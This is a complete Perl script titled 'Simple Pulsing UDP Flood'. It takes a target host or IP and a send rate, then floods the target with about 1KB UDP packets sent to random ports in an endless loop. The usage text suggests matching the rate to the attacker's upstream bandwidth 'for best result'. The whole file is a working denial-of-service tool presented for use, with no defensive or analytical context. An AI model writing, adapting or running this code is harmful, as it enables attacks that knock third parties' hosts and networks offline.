#!/usr/bin/perl -w # Simple Perl 5 UDP Pulse Flood v0.1 use strict; use Socket; sub flood; sub usage; if(@ARGV < 2) { &usage(); } my $packs_sent = 0; my $packs_sec = $ARGV[0]; my $target_ip = $ARGV[1]; my $target_host = $target_ip; if(!($packs_sec =~ m/^\d+$/) || $packs_sec < 1) { print "Minimum 1KBPS.\n"; exit(1); } # Fix $target_ip or $target_host to be correct, depending on the input if($target_host =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) { $target_host = gethostbyaddr($target_ip, AF_INET); $target_host = "" unless $target_host; } else { $target_ip = inet_aton($target_host); die "Couldn't translate ",$target_host unless $target_ip; $target_ip = inet_ntoa($target_ip); die "Couldn't translate opaque ip string" unless $target_ip; } my $iaddr = inet_aton($target_ip); my $proto = getprotobyname('udp'); my $packet = "X"; foreach(1..1000) { $packet .= "X"; } $packet .= "\015\012"; print "Beginning udp flood on ",$target_host,"[",$target_ip,"]\n"; my ($port, $paddr, $i); while(1) { $port = rand(65535) + 1; $paddr = sockaddr_in($port, $iaddr); socket(SOCK, PF_INET, SOCK_DGRAM, $proto) or die "socket: $!"; connect(SOCK, $paddr) or die "connect: $!"; for($i=0;$i<$packs_sec;$i++) { print SOCK $packet; } close(SOCK) or die "close: $!"; sleep(1); $|=1; $packs_sent += $packs_sec; print "\rPackets sent: ",$packs_sent; } sub usage { print "SIMPLE PULSING UDP FLOOD\n"; print "USAGE:\t./mt_pulse.pl A B\n"; print "\t A: KBPS to pulse (set to your upstream for best result)\n"; print "\t B: Target host or IP. (eg. radicalsroar.com OR 127.0.0.1)\n"; exit(1); }